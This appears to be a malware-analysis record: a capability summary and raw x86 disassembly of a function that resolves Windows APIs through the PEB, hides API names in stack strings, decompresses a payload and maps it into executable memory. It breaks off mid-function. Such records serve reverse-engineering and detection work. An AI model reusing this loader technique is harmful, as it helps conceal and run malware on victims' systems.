Function at 0x401000
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], esi
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [edx + 0x1c]
mov dword [ebp - 4], eax
jmp 0x401026
mov dword [ebp - 4], eax
mov edx, dword [eax + 0x20]
movzx ecx, byte [edx]
and ecx, 0xffffffdf
cmp ecx, 0x4b
je 0x40103c
mov eax, dword [eax]
test eax, eax
je 0x40105a
jmp 0x401023
cmp dword [eax + 0x1c], 0x1a0018
jne 0x401034
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov eax, dword [ecx + 0x3c]
mov eax, dword [ecx + eax + 0x78]
mov edi, dword [eax + ecx + 0x18]
test edi, edi
ja 0x401064
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
mov esi, dword [eax + ecx + 0x20]
xor edx, edx
mov dword [ebp - 0x10], ebx
add esi, ecx
mov ebx, dword [esi + edx*4]
cmp byte [ebx + ecx], 0x47
je 0x40108a
inc edx
cmp edx, edi
jb 0x40106f
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
cmp byte [ebx + ecx + 1], 0x65
jne 0x401078
cmp byte [ebx + ecx + 2], 0x74
jne 0x401078
cmp byte [ebx + ecx + 3], 0x50
jne 0x401078
cmp byte [ebx + ecx + 4], 0x72
jne 0x401078
cmp byte [ebx + ecx + 6], 0x63
jne 0x401078
cmp byte [ebx + ecx + 5], 0x6f
jne 0x401078
cmp byte [ebx + ecx + 7], 0x41
jne 0x401078
cmp byte [ebx + ecx + 8], 0x64
jne 0x401078
cmp byte [ebx + ecx + 9], 0x64
jne 0x401078
mov esi, dword [eax + ecx + 0x1c]
mov eax, dword [eax + ecx + 0x24]
add esi, ecx
add eax, ecx
mov ebx, dword [ebp - 0x10]
movzx edx, word [eax + edx*2]
mov edi, dword [esi + edx*4]
add ecx, edi
je 0x40105a
mov esi, dword [ebp + 8]
mov dword [ebp - 0x24], ecx
mov ecx, dword [esi + 8]
mov edx, ecx
mov eax, dword [esi]
shl edx, 4
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], ecx
lea eax, [ebp - 0x64]
push eax
mov dword [ebp - 0x64], 0x64616f4c
mov dword [ebp - 0x60], 0x7262694c
mov dword [ebp - 0x5c], 0x41797261
mov dword [ebp - 0x58], 0
push dword [ebp - 4]
call dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
cmp eax, 0
je 0x4013ac
lea eax, [ebp - 0x64]
push eax
mov dword [ebp - 0x64], 0x74726956
mov dword [ebp - 0x60], 0x416c6175
mov dword [ebp - 0x5c], 0x636f6c6c
mov dword [ebp - 0x58], 0
push dword [ebp - 4]
call dword [ebp - 0x24]
mov dword [ebp - 0x44], eax
cmp eax, 0
je 0x4013ac
lea eax, [ebp - 0x64]
push eax
mov dword [ebp - 0x64], 0x6c64746e
mov dword [ebp - 0x60], 0x6c642e6c
mov dword [ebp - 0x5c], 0x6c
call dword [ebp - 0x2c]
mov dword [ebp - 0x20], eax
cmp eax, 0
je 0x4013ac
lea eax, [ebp - 0x64]
push eax
mov dword [ebp - 0x64], 0x636d656d
mov dword [ebp - 0x60], 0x7970
push dword [ebp - 0x20]
call dword [ebp - 0x24]
mov dword [ebp - 0x40], eax
cmp eax, 0
je 0x4013ac
lea eax, [ebp - 0x64]
push eax
mov dword [ebp - 0x64], 0x446c7452
mov dword [ebp - 0x60], 0x6d6f6365
mov dword [ebp - 0x5c], 0x73657270
mov dword [ebp - 0x58], 0x66754273
mov dword [ebp - 0x54], 0x726566
push dword [ebp - 0x20]
call dword [ebp - 0x24]
mov dword [ebp - 0x3c], eax
cmp eax, 0
je 0x4013ac
push 4
push 0x1000
push dword [ebp - 0x4c]
push 0
call dword [ebp - 0x44]
mov dword [ebp - 0x38], eax
cmp eax, 0
je 0x4013ac
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x48]
push dword [ebp - 0x50]
push dword [ebp - 0x4c]
push dword [ebp - 0x38]
push 2
call dword [ebp - 0x3c]
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push dword [ebp - 0x4c]
push 0
call dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
cmp eax, 0
je 0x4013ac
mov edx, dword [ebp - 0x1c]
mov eax, dword [esi + 0x10]
add eax, edx
mov dword [edx + 0x1c], eax
movzx edx, word [esi + 0x14]
test edx, edx
mov eax, dword [ebp - 0x38]
jle 0x401285
mov dword [ebp - 0x10], ebx
xor edi, edi
mov ebx, eax
cmp dword [esi + edi*4 + 0x18], 0
je 0x40127d
cmp dword [esi + edi*4 + 0x30], 0
je 0x40127d
mov edx, dword [ebp - 0x1c]
push dword [esi + edi*4 + 0x30]
push ebx
add edx, dword [esi + edi*4 + 0x18]
push edx
call dword [ebp - 0x40]
add ebx, dword [esi + edi*4 + 0x30]
movzx edx, word [esi + 0x14]
inc edi
cmp edi, edx
jl 0x401257
mov ebx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov edx, dword [esi + 0x50]
add edx, eax
mov ecx, dword [edx]
mov edi, dword [edx + 4]
add ecx, edi
je 0x4012f5
mov dword [ebp - 0x10], ebx